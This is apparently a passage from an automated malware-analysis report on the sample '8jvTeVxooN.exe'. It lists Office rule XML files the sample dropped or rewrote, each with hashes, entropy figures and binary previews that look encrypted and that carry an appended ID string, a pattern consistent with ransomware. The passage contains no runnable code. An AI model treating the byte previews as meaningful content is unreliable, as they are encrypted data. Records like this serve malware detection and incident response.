Preview:	<?xml..1S.....Y2~3.@./.i.X(.I...{.f..OoI..!j.1&...[......G....xe..Y.J...Dur....l.Q.7,.....m.7R..,...@.!].B.....I.7H.42h.m....F.U...Ct..=b.g...F./w...l ...E@.w{. .jW.......JI..,p....U)..x......Jh0......xt.`.....1q;.Q...@......E...J..... .?...C`...y.....(J....{..Nl.....~c...{.c/....T..N.8..Wb...$NI..{0. ..R..#.e$.3..._m0....Nl.P..E..g.N)v.z._d...g....0.dpHb.P<".55..........\.)zpE....Pw.#.f..(.!..E..Nn.....~..._.6..Y...t.. .s.].@.Ae....Y.....2..e....cP..S...7.<!.Jf\|.43sn.L..F..u).r.vZj$...;+$a.d..d...-..]....p...V.P.w.2.Mc8...cD.....aF.......\..=.B.].(C...k.L.84..(U.@J+=.q..Q{o.9u...o.......h.....`I]V0!.?.^.ub(..k.DH.NpX.b!^...5y.....(.m[l..[..K...2@.N7d......k..y4<.....".<.&X.>&9Q.6.*w.+..$..........'.`.[d<...-..z.4....{.w. ?G.>......h-_..z%....C.....b.\=...U.{i..!sU...v.x.j.m.U.C.)...[GL..nx....$4b..@..M.N......>.....i.Nf...%....mD...m..3.l.B.-HY.1oO.~.H....ix......L.w.....`tAu..3.(..".P."......d\|D5.a....2.GTE.......:......#....EjFSy`uB0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.805761176999735
Encrypted:	false
SSDEEP:	12:lOQJzeaK02l7IkOjBo8TCEOiN9XpvqjHvTqpd8a/I/F1OhGx3rcaxLLvuOcii9a:gBPLO9IHiLXR+Hu8a/I/XprcaJWObD
MD5:	B26FDA853497213131BF6E30542C5306
SHA1:	EC8104BAB3628B66AF8998909595A34782887406
SHA-256:	49655911326438CA8DA27C2260F3B491B1A353EA9E235C1868FA94F7124A36F3
SHA-512:	6C7D90F5C7028D6C6279E1866D70DABCDCC5A43A6BC2FE26F0F07661A21000C93B1180C316F82638A9F28195243934293BED425E33929D8F4685E78FF4945D3C
Malicious:	false
Preview:	<?xml[N/.q_....K.A........m=.....N..c<$.4.M..J.avG.=..9E.L.@VA... .h>Dc.9.[..Wp.....xk8O....\|@D.C.kf,.9+6...N....4d....S`...bS.s.R.u.x!...,<.7.D......5.~.'hf.MA.l.v.sE...B.....p....{d..J.S.p.D.Z..Q.&...=..9.~...U.....E.s..S/.}..:..Y..`O$.Id8.Kx%>..v.z]w..X.......'.........}._.....EO>.D.esCXb..P.8<a...x...B..;Z.%q.a.rc..V...,.,.v.p.P.6,.N..;_.[.\(.../....1...?...x>.5.!n.t.....5......xyqP.S...Co..5..=..n....>.?.2...\|...3.2........E../........9...=.3...q.?.C..x.......K....i...h`.+O.\N..y..x.[...myTN.......W... `$4....w..=..w..j..0.mF..t...`U@.?.........w.x.%..v..X....@.M0......+(O....a....l.q..R...h.H...LgY.].i.'.....sT..tr.'2..$.[Rj)....^l...2....0...?..&&}%.Y@.Z.......}. ..l7(IS..9d..u/..T.}.e.,V......k.I.u.\gS}.R..... S..N...........Sa.p.;..}x.3.As.i...8^b../.m_...)_...W..v..Kk,.&.s,....7..x.."blK.B\|?N... .....(.]...@3;.`oR....~w.........p.6o1k.......%..z...}.R..l.:..{.......11....+:....Z....<..3.4Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.749499487251502
Encrypted:	false
SSDEEP:	24:pBlzh26BcfXSMNAivjbbpwj5hK7o7/cN8ObD:p7zknNAg9Q5hK8zc1D
MD5:	6CCA8E9111D2697097723133E5F2875A
SHA1:	93A11625BF18D75558AC11894F90B40166B90FF7
SHA-256:	454AA0C55841D2B9458EF0810DC2C8C24D868C48C353C7242D2F72B7CED83080
SHA-512:	D15304F5DC38C129EA4B8657A446542AB2055DC4430C004289C886BE88B424E31EA1E21DF3309E19016FA3CCAB3DFB906E750E64B1ACE5CC45ECD79E670ED64A
Malicious:	false
Preview:	<?xml.rp&k.......J....N.?......^.Y{....V..(.rM.<..&......_z4yG.....x&.j.%..U.dJ.<..g...8.g...gL....5k..aM...........U.7.2.L..gz..Z?y.tH..Zr.].E+.n.>.K...ev.?I.[8..!..A..dmKIT..?^.@$j.J.i..9@..Cp.\|..^pSPgR...-.........E...+...S..S.#g...3+$.Y.}T...P.kA.G7.6..fz...r..Q....h,....c..X...1......~.....K.Q.o~Z.m.&......OzS..B.a.y.k(.5....5/..5.......SVf.,\|....\.\.e;.S_Z.....V.Y...f.y..9\dF...D.9y.....0{~.../,...zU5...-.3...t.P..8...eM'..-..<.@..=..N....PIO...S."z)m.h..vc.g.R.....9..Pz....H..Zw4E...S..k.........V..9yT........J...G-.6a.C.9..f+.w.s..v......e...p~.........22.IX...9..h...z.....!.....q....J......zKN.&....l.A.g..[.".-...F.@..^.I7. VVR....1G5,.S....n..&...+t..7..Y....t...OkU.7...#.#;PV-...N..C....p..f..L..\.l...&..5._A8..Q...4.{...Sr...`drP..wuW.....MH@..7C.....K1..5%...#..g..!.s.@....r...i...1.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320003v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.820672926224047
Encrypted:	false
SSDEEP:	12:SRt10hesXoUkSLrd1fOGOdaaGUeopA22rNq1+c1ippuO9Bbsx6MDSmDZF7ycXY8O:i0QsXVf51mZu5rNqriHKIMxyY19ObD
MD5:	C363441A625E35321C86AD2B01E99EE3
SHA1:	19CCD601470B9610CC3BFC83E96A42412C8C4EC3
SHA-256:	2E7BEDB1775342F1BBFB62A574D09863CEF6D734442751D69F8F6118275258D5
SHA-512:	8E6514EDC58AE767A32A0F479ED716C40F7E2613808A1321D415ECCE4B8AA8FEE3BC2FCF20FD9ACC56339928E2D1FAD3C16F4253F7D4969DD8826E0BFF988F58
Malicious:	false
Preview:	<?xml.g....g.I...)7P=O.+Z.......b....._.I.r.>2....u.R.s...z}....$.......'?.7'...~./..z.K...q:......WP.m..K.SF(.Z.j...4&.E..$w....b...D..i....U.4.z..M..&%.........y.;..R...d..#YS..t.!.Xo..5D..C}...Ow}:..NOS.5......o......g)r....!....w..,...uh...s.1...\|.!6.k.R.X....Nvt..j....1.....B....X.!.G..fx.......`.'..-l=q.=.....a'd..L...C.y~v.....Fk...+'.......yD.#.."\.\......$G....[J.z\|v%{s[\|....r(?e.B.B0.>../.?. ..b+..0bb...+.N8..xK.'..e...".r.;.....U&....pH.!.4$.$..5..?._J9%.'`4.L.....3...8n..?..n,5'.8o/.~P....".}'.Y:....y..g.....\.u..:R..V.A8..Ft..,.N!0...#....%..3..lO.."..0.s...........Y4p...3. ..=.^.....{..2.G..h..g.*.>...>o.$P.}.^...h.J.....BK.+9.-%>.t IUE.DhU.ID.6%n1aK..lX...4..a'..,\."...f.5H7.lb.j.Cd:..B..@....c....!...4.Gx.......w...e......[....e./.t2.......\{.D..[.:......Gn!e.....R9m.....q...5(k.6.... ....V...7..^...;..P..BD.W..]{.Ue..@.. ..?...!...F.....;T.t}jo.i....Ex.....y.....S.bN..?.a.....Q...........j..i.u..o....u..%A.A.e..g.7e..-....`K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320004v6.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1967
Entropy (8bit):	7.901980149950501
Encrypted:	false
SSDEEP:	48:gq6QQEe4N5dhm/zMyNFGjRIjbq0IHJZduhrwUJD:gNoe4DdhmzvNMWfmdo
MD5:	446B2DC1A9ACBFBBE6F9C0CE25522C3F
SHA1:	D546C3F6C60920CBAC7AB69B3FD448F1DCCB68C6
SHA-256:	853B6B7ED73528A66E490595E51E12890DB62CD0638A57C5877E4E20E4F79C45
SHA-512:	1F333EDFBCAC81C2692FFE3460A05192B5949C1896C8D51168F8A284650FD4B5552E582585C54560B7E4A929CC70501FE800586684C1C485EF098C8C884280B0
Malicious:	false
Preview:	<?xmlfG..@.$...T.5r....qO..o.....\|.k..`{...0......an.?(eJ........(.j...syq.&N...f.%.v...:.....:h.xD.0q...".0x....X"...TD5.V.~.....mnY......q`.N..}..;.....>..J..;lIr..<N.z2.PE.......M..6GG.....+;.....M.......>....hK.yl~..Q.I.0X...........H#....?1.,>.g{]..p./..P.....G.c3q.yX@#a;':......D..P9b...S...Y...?y.CB.(.8....Kc.J.....[...y.......v.e8....z.b.W.DnK.~Ov...]...8...,;...6....{Z]......l....c.....?x>.)....d...m.4..(..:2Kk-...d...;<...G,..5$1g.....c..P.....[.+.W.Y.<....C..p..usFjD?.(.R..Jo....'?5....YO.P+.fL.....C`..`.....Au.e......#e..#.!..v.M..A^r.4W3Dy..P.(.p..Z.\|....O(....n1.R.7Y.5eB...~lL......{...xU..c..J....G>.-[...O\|Y1.V.FHK\y>_oo]C.....d...O..f.B].9..;............o/....#.....v....4..N.hI.g~...^..s...S..D1.....`.._^.3.T.Z.....k){\|.dh.,"...V..8B6...V..M.....&/...OX.&T....Y.vok.35.4h....B..G.#..]...%d.J.T.G....5...E..#N.Z.p.......1..p..(..-.....0...w<. .......3.......#....2..L.d.q.{.^.h...Q6*qD......%...Jf..2....B....0..."......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320005v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	7.857834692920809
Encrypted:	false
SSDEEP:	24:J3iMwkoOQ4KCgTcEqirzYZl2UpfmJ0jdYSNC468mJBD3dFLTrT7exIQCDSObD:J3iMxX2TcENkZl2Ud5kV3fLTHGIQG1D
MD5:	A6F6AA407059DA83AE052987A9A1506E
SHA1:	00D8D3D1BE8E2468B376E0CC02A38AC532CE3107
SHA-256:	E5B3410500DE29171B9B9C477EA1551C00C86A3ADD4E68A980BF1CF36AB52FC3
SHA-512:	0D08DF5D5812EBA8E8400BF0F6F335FF83DEB50B35D5BA822221FDA2FC0DD8D1B4DD5BC6EE91343419905FDD042820D91A0F71AF8F51B54C46540AAACAAE7914
Malicious:	false
Preview:	<?xml..GL..b........+.....hp.....a..iF`d.z..<.......nz>..{L./.........NSPKM..It..).....(.........5.......p.{L~...6.....}.-T.......O..fP...;..;......5...".....:p....R......../}2'o...cd~q..WkG.W.x..4.."...8..H. './.\|c.b...._v......77P$#..8..."..Zdo......7g..i...._....p4. m6...R.w..O).r.$.u.o.f....6.."....e.e.....u.... .&;X..>.......b..tNP.l ...;..Z.......5.e3.K.s.iV.).!.....H.$]61W.P(>. t.(.....fby...B.@......Wx.Pi..........lHJ.s.Z.Y.-....:.".FE.(.V.a.J.(.!..Y.U.IA..h.....C..!`.L......bwnKL.../1..x..y..............._...!._....D.k......6TK._...#../@.:.f.\......s[Q.g~...;.....]t..Bk.>...J.5X..#.vx..(...Z.N;e...].lczow.....A....sa.7..);....).C..}v....oe.~....V.&* 9D=.G.J.t.)F..+....b*.&.V'e..?x..]....g.[.86.;.X`bTI.aQ......Z57......KW..?]_q............Z..Z ..:.a..t._aPc..............S..e....!.`{...m..9.....?ko&]..u.n...\U.DS.U...."..L7..N.?..(.1......N.3+.@{@lp..0.j.aA......1.n.a..!.....j....l..M...P6..ly$......]..`..CraA..8..xl~.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320006v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	7.857721969461657
Encrypted:	false
SSDEEP:	24:fd1VbvWm+BdCLHDy6TFCAnZLv21AxMhcu/PbYjl1zSoGbaWgG2iF4J+ObD:fd1om+Bd2D1FxBUPbYB1+oG+W9dF4JBD
MD5:	08C1CC25D006E5952E4DC73A5992BD80
SHA1:	F3452236FA1D3444CCF8BDD8C2E25BB0CF172ABD
SHA-256:	4A8175E218F0CE8D204D6AB1C93148FD98D735EAA2E6F21420F128EDB120953D
SHA-512:	8573BE8E54A3649B9FFB675F39AA992FD9DD198F00340AF11C98034156B08A45D6A5833B5582C207173D0BAB33F5F2A211AA4453C59BAA8067FD5DCD6D49EEDD
Malicious:	false
Preview:	<?xmlg.h...S.l]......i!......wXA.{...P.O.p..h.-.v8M].W$O.m..34.e.eY..s..+..-..)...C....V..t..Q.yD.."..x...N.-x..$+.....8~.E )....<.c..C..C...:I...,..V...n.H.8.........`...sZ:....6#....).Ey......1.y..cu.^&a.$#\|4.q...+.[...q[.7...L..GK...I...a.....P....).]x.e.e&......l2..Ae..%H..9@.p..m<.'.Y...s....-.Q.!.5.......3v\.@..@...DzL.......3.8.Y..~..t...h.K&g,f.l.+.w..).[H........ZF."...h.q..n..H...2.\....P..N..."S..Q.`......? b..Ht...<&L!p.$.N`..Z...D.}..v.6.35..f8%[....MW.>...?..;. ....\.)Y.........X1....l}...f...u....;9.....:dc. ./..%....9.2....hx..g..!0o..h@w.1)a.......E...(/....._d....P.%m.w7).l-)...........Ih."....H..c0B....\|..9 ..I.......!7(i.n.A.#..........8..,yI..A..W.[t........9..z}v.....W.....].{..DYA.F?.\...._....8/..u.r.u..d.q.......8.2......c..:l...J.O.....7.... S6f.......V.X\.v?2.W!.}>.qQ..i?_Oc.. .F.._..'8.{...0.......LO....X..BnN.4.,_..avu..:sw?.......l......P....1E.%$......u..~...B.o.T!....-.....1..9.......y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320007v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.8250068063872344
Encrypted:	false
SSDEEP:	24:eicvjHe6+f+4Ei5Gsbpck0nP4LvIBLfC1T4bcJx2AHr9jObD:jAHH+fXEmGIcpgbuCMauD
MD5:	444F849ECB39CF4577FCE5907CDA5049
SHA1:	7904321CA72BB7C79D989ADD3F3FFDB732896DC5
SHA-256:	CD87AB69B2483CC326A457724C6C4DD607B254CC05C28D6EBB38558CC8680D70
SHA-512:	EC2970502961B09C88DF0A005D050D870D16E9BBEBAF83DB6C07E5DFD2A1B3BEA6AF7C0727B0604633D39EDE268DBCAE91FB5E9F1A6F242C3AF32F0ADD0A3AA9
Malicious:	false
Preview:	<?xml2&..w6.?...E...TW.Elub..(.....@.5C.q.....=.o]-.A.L...z...H.yT..[....^.....9.......2<W}"..,.9....$6e.o=..f...<.$<m..Q@.T.`...3(.P..,..^.......:..NV'.>..k.....6:../..kijZ.@j...E...>&Z....9v....g..V.m.lR2y{.U..@Z...A..S4,..4.`^:c\|....>.!'05.q..vu-@..q.@D.!D.J..A'..E......)e..^62..9...h.4.-$+...@..T.."..mZ..~.!?.R......!O....FX.:..Y....if.].:.I!.J.++W..F... .S...\|e.}.....uF...."......u.A.cW^...:.....@.....'....Y>bJu..'..]..Rb.5.(zl...v..W..J}.P!.....&...vW.Y..S...2..H._2F..?...n.0wd.i...J...>_.8...../.[H.I.......m?+.B'.4..........Aa.......m>q.b8...p.k#.6F.E2O@>D.{7U...z..u...zH=o^....P.Q.b..f....\|....$....w..B..$.n..0.(..#?M..Am`.X.hg ...JY.7..M.:.<.!..2I.I`....'.V,(................}_u...A.eJ.].C.....U...y..5.b.s......T.;HE...%K.....B.o..N.#D..0#...].%.....].....cP.\....L.q+...?.."F....z...7....X.)..fM......o..`ah.\|P.h....E.!...j...%\|d....j~.......8.-..>.W...T{...O.-a@H....kx>H'...K.~.C..l.5....Jr.....R..TFf.:..J!..6.......}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320009v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.7790864397494115
Encrypted:	false
SSDEEP:	24:t3Qllpb6w+iztFdAW3RgAvujgBcIx8SObD:tgxbSizbfhGc+emD
MD5:	FAF9660901C5DA6B91CD8B9F8089D129
SHA1:	CEDBD563A45D99FD364AEE3D5213A27A33F9452D
SHA-256:	7BEA100262E5909353D5EB3FCDF4671C759E94C22DB454BD28A123BE4FF4F366
SHA-512:	5FE10BD6FE2DC94A963687516E00487AF295BC6D0EF9FEBFAB0FF80D393524FF8185E934D6750A497B945EA4C99BBDABA9B9EFBF40CA4C3BCAADB8370A8B7B00
Malicious:	false
Preview:	<?xml.=hJ[.B...Dm..QJ.ln<..\|.^...:.Xk.1...'....E..E.3.L.. E.#U`..j....I....>.......Q.,H3.#h#...[.5!3.5"..z..I..g....g....+.....=Ld...%.]>...>....6....rL.&:...@E/..s...J(..<.]S...@..e..ZH...f.>.0.u..S.Vu.5...T....f...$.]..]x.(.........N.H.......f..f....._...B......9.X.P..3.K..(.>..h.^...........=..c@..E_^.s...(F. .!?....a.%..A&E\...nm(..8.E...l~...p...m.>.M)...-..u2Xw...F.y.).2..:........FG..HnkP..Y.k...O.......~.9...]_.`.7...4......}.f......gU.V...o.uaB....I....P1d.'.......e....s.2.L.`ku....Q.t..{.5..qP...F.{.....v:}X;.."...r.6..F.X..]....ek(>.x..K./;...>.t....."....K.3..%q\h.f.R._....IX.j..qF.f.(z4.-.6...m.oW..m.q.._..INGx.Y......VC...u....v..U....=O..P......N..R"T..4.8...^'..H8....."+...JB9....)G..@....G-h\.....7.\|.F.W}.72,>.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320016v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	901
Entropy (8bit):	7.746875982438491
Encrypted:	false
SSDEEP:	24:c1nRMTcCZ4TUd986coRE11MNmYnhJm/Ua5mObD:c1qTZSA8MthCJD
MD5:	FBE3E608730BF03FE9BAA956E5F236A0
SHA1:	CD4AD9F8667836442EC19C87D39DFC459B2CC173
SHA-256:	4991774B51D55D6F270B6861076610D8DC9E6E933FEAFC140F37A145F44F5B43
SHA-512:	75B20069E653E7DB7584963A7E581E1E8DECC5865983BBB5D1BF859C8F46C789EE2C3E62AE5A229B1B2056272C83E2D33ED065889B63A2633687914977928180
Malicious:	false
Preview:	<?xml......y....9..F.M....S..TH....J4.#...O..[M".......#.&C.&.y.\{jH>..8.zY.r..;.`&.. .G.W.p.:.5_...)...R.}.l(5F.C..-w.#.v.c}.W..^...o#..5..:6...=.....$....x.@x}.......uP.n.6KJb..u.....bg^..(..[G....K...EMr.......6.H..,...s@.E...k...=o>\|.{.].b....qjC.d.._.b.e#....?D....^6m\|F<e).`..b..sZ.o./.8.k........V_..+..#....B[..0T...>.bG..1.....~Z.\|H1....W...-.H..iE...._...k..`I.j...;j.Nn.6....s....h,+6.N......L.B)..*i.=C.(!..L.W-a.Q...[W.X............Fh_H..@.Ik8=q.....t~......;vj<h.<......1>.L..y........2...z3=.t...[..Q..m..p...N<..6S;}.&.t..9Z...7.m.x.q..J4l...B^n[P.$#.........t.s..i...2.S.............<.`.n....PG ..!..h...r.....?....". ...817%s.S}"dF...&..b8K.......]..6._.g..].#.%...U7qp]..o'=.Ru.s.i..d.....B.M......L...'.h...Yb\...9}.T.V.N#.B......$P........\..e<..G...erZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320021v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.741360598337489
Encrypted:	false
SSDEEP:	12:cgaQlKnIteOeYbq6NcUJEknRAXslgPmy0H9znMihVW8HlqMJEnvmFrvVXmazB0kP:pZiKb33JEknRPsmy+9RV5HAwRj8FdObD
MD5:	9FFB82874BE17B6AC6373AEA6DA247D7
SHA1:	9B10E04248332A4279F387A4DF193368EA0A3431
SHA-256:	07EAA7B60653B4991E6570A257B0DED4F13F60407F01B9A0315979DF1BDAC050
SHA-512:	5EEBE626B680B55FDC44F13F481FE07AE18DE573B8D7C98F562DADC1EA854AFE6D500BD11CA1E5A6CCDC30D5430D3746E6BF22856F633E0F7B7F55C482BF31A0
Malicious:	false
Preview:	<?xml..d.\|.J..RBl... g.^D.!.aR&..s..`.['..z....b..{.Fi:...X.2\.U.{.UA....6....R6.G..!.F.W!.%..k....5f=.m89...sa<.5......m#.P.f.>].p......rV.).X%...l...i...8.......eb.\\..O..M1....NW...X-...b.!2..2.'.....:......c...{.. (a+..LO..(.l}7..S.Q.S..SG....T..[.".3..\...d9ri.zJ...8.....$[.v...%...=.5.~Z.`R@.V h.pP{]C..m...-5y.:.p..s.e..pw;rXm...'....?...`.Z..6....... cC....&...u.G.04.~4..AV{..6r..#..O.Sn..`CuADk..p<N...'.v.U...!..U.j!..7.......[.Y..f...7.T.d.j..Kk.~....K^>D...v.]:.'.............Wd....Gn.....{...I..7=..&..z.r...W.......0..p.K..;.3....f.O..]+7...e=...Xu...u>t.....b.!..."A.>8..#...A...c...g.....F6;..hEK.,W...b..j.n.K...fT{...8.Y.d@.n...S..).%S..u....#..$o...~.V.3..`?}.B.)....rXB..[D.ss..W-..j(dV..........>.*9%..].7....g. ..\|.G...bZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320022v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.704784450663096
Encrypted:	false
SSDEEP:	12:05WqAVrVODD5WunxtOcib/o2bIgohJLao+YqyjYnnX+ESAWL5cN/fbTHXeHrFX7j:QWqAVrMD4unxtC/ot34YdYnnpIcNXbTY
MD5:	CFA0EC1C0E2804F4AB8B9FEDD93431CE
SHA1:	C62B62178AE4D63ED64539B50A1C40D7CAC617F5
SHA-256:	A0DBFC47C84EDFBCDFF3CEDF0D57FC5E9527E31E870123EFA02E581B9B22C7FD
SHA-512:	7A4FEE90A9D86657AB362CA02621F86AAD1495CE5FA05D3C42C08C7A3DB6D5BD16B8A8455FCBFEEB5F16634F1797CCB87657E90E7C63A81366FCCF8983099364
Malicious:	false
Preview:	<?xml..r.x.....d..W<A.I.....bZR...H...54$+..i.....m.7+a.....k......~b......;P........jO....V....D.I}....M.Q$..N]...f.$..b..#.4u7Ii....jv....<hT.`..(..O._..F......T.VpQ....I..8.X.)..@.....939q..?..>.....`X..1Vt....!0X9..N.......-h.....A..9.....H?...9.....C..m.X...x.:..l$y.AB....h..X.=.H....x.....^.7.s.{"..i.X..&...k....Z.(F.I..0r....(...e...z..o.d...yE.s.<....../).<...lZ......_...D.......S.d.M;........~..I-.rM..^WT..2...............2..v.....=...F\|.'..Z"....Bz..+....x..K."..L.4.7!...!h..u>..CW(...zZ..W.5..n..6z..)s..Q&B..l.@.8.1..-.qD............%?.c..}.<V......Z.E.w.?.C...........LK.s_z.tE....y4.H...?>.Y.8..xk..oE.7\..9...L.%.K.9.e..io.O....B.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320029v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	7.814970650363225
Encrypted:	false
SSDEEP:	24:1t6HPQWkyyAfkCt2wtTnb06Sc6DYWcXIoMfSn6SRKQ/Q3vtObD:CP28U6RoYWcdMfSn5RKqQ3vSD
MD5:	819CC66CA50169ADFA8BD5CFCC5D84D8
SHA1:	9352B426FA5E868912214FCE2A9A8A6EECD8BD64
SHA-256:	9DF25598FF88275178F7C18FA07124F721C9286F3FEC2F6B4BE52A727C1BC105
SHA-512:	9246ADEF054E9936267EBE8B540E64F14E4A5A62F70641471D763DB344D7CEE6DC09FC0E38F77EBD297C57B1380D7B252C46534E9E98418D1EEC87AD6954C51B
Malicious:	false
Preview:	<?xml..X.E..Hv/..1}....@..NB.z..Z.dX.G..T..A@.....(IH9.Or.yZ....PeKMV.g...1...sFN.... .;.....y@..ne.7...v....'&'.7..j...I.t.......uh..U..I.l.....CH..... T..H.+1.y.C.n..lN.-^..Ej..TGb.b. .N.%.?=..D...n...N.J...p...Mg.c.......iT7d.k\.....q.s.6..xl.\|.@t...CVQ...+..@.M.!..n....%......T=.)@......v...l.v5.-R..-..(........e..f.<.....J.@..1)g5w...>D.w..#Lu...c.FZ..A\|...;...GPg..".9.....W.<m...q5.......W.%._.^0(......6.....g.p\o..4.V..~.T{...^.:.g.+..fg..i.U....\....i]{<.....&.:n=.p....TkiyBC.E..vx.J(.....F...@.u\n...P!..I.A..q..t}.J=.e..1...v.).A.N......c..1n.............0o..\|V.W.#q.....n..L.V.U.`j-....O..C.......nN..F.}.;.g..L"w...h..d.....w....e....2.*....g.2?....Q.0\|..n'..Bc....e........o...[(...D..^..........S.L...jJ.J...;z.c.W..'.R\|Z.\|9.....[..1...j..k,>3.......~...\|{...f..5..z.C5........Yh@8.....s..u.;..... E.~......m..b^$....5..;.".".....4X[..N.....W.Y....I.....>;.L\|..8..9...b}.W@.P.$........e..J.^..`A....c.Q...\|L;....vt...H<.S.8.k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320032v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	7.7954459554906474
Encrypted:	false
SSDEEP:	24:NGQhftO9gfTW5rTpY2Rk9+XMeYCkMts1/i9DObD:1O9qORq+8imdVD
MD5:	8AB6C15549EAA5CF5F78438372790334
SHA1:	F3126C8F25954E5B973BC9B22B41D179C4B3BF0C
SHA-256:	845BBC91F5D8541756A5285E8111EE1A55EF919AE2DC91362AE62FA7AE374111
SHA-512:	2F96549039ABEBAF7A07636353EA6C22A7E5CC82ED194D2A7378A0E8672D8D3239DB883A42F904FA2612134ECC191E34DE61DE1A193587508F7F02E1F3DCBD76
Malicious:	false
Preview:	<?xml.h...K..........=&..2..3c..}..4...\|....d..D.\|.4..._..R:...%b..?0..........T\|r#'~F..9...H.z1B.T..z.%..;3......I....#...i....Np.....W.4..c..J~..<....2."nAH........1X*..AQ'..Sg.....L..R....C./.3..[.....S.\.....oO.........i.f.9.%.K..c....~Or.B....,.z(.N.wZ....#G,a&...-...Fo.c...eV.G&Rd.....S5....]..gW..U.!.......i..H {W..[..AH.".crgr.....s...<-./....O..?....A.~.,C.U....%Igq..Q.m(....G.....q.I.d.....~....t...+.......`..V.....iuAT3..F.I.~l.D}t./Y..U..:..=.1...f....h..V=e......o.FA8..\_...@$......n}....U)X.\|2#..(4!4..:./.5..g...{.]ogE.`g..H._....m.M....i'IJL}B...U.s..^g..,....e]..^..dhK.O.......kc.{.W.6.5 ._..d....B...SV nN.hv."..]..#!}.@C...L.........?..a..?....W...,.x..Z..">...g..W.P.....)C..{..E9F.......RQ....x.n..\|.....?e..G..d.~.....ME...i..`.Uy^[..R.-.z\|.......B_@x.&.C...fT..04.\|q5.H3# q..{..t%TFP..o.As...[b.. ESh..w.\|x.w....0my~8........A.sX[.....HJ.,.iL.....D.6-....hZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320033v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	7.792305274281374
Encrypted:	false
SSDEEP:	24:wf89uGy4Wu5vxEdj7Ky8QXZMMOiYL4mtYlDzWj51MOoKhhOhsnOVObD:O5E/m6y8QXqM6LN6/W519hhOTaD
MD5:	AA0F70CB2D93E37DC393CED289C5C9CB
SHA1:	7FC8B866049817A68081398B0A9C3343CC079708
SHA-256:	E7C15960C30017E05B7292C0A517E5B7D4AC2D6FAB45C6B2CFECFB8C63714340
SHA-512:	3F47EC8B3C2783E256C63C6D69AD3D4612F6C6011D0304CC86EB6C6AD14BD64AE79EDD850871C3BEA45F83A5DF8CF30B95646BABF3211D325C461721DBB6B8A3
Malicious:	false
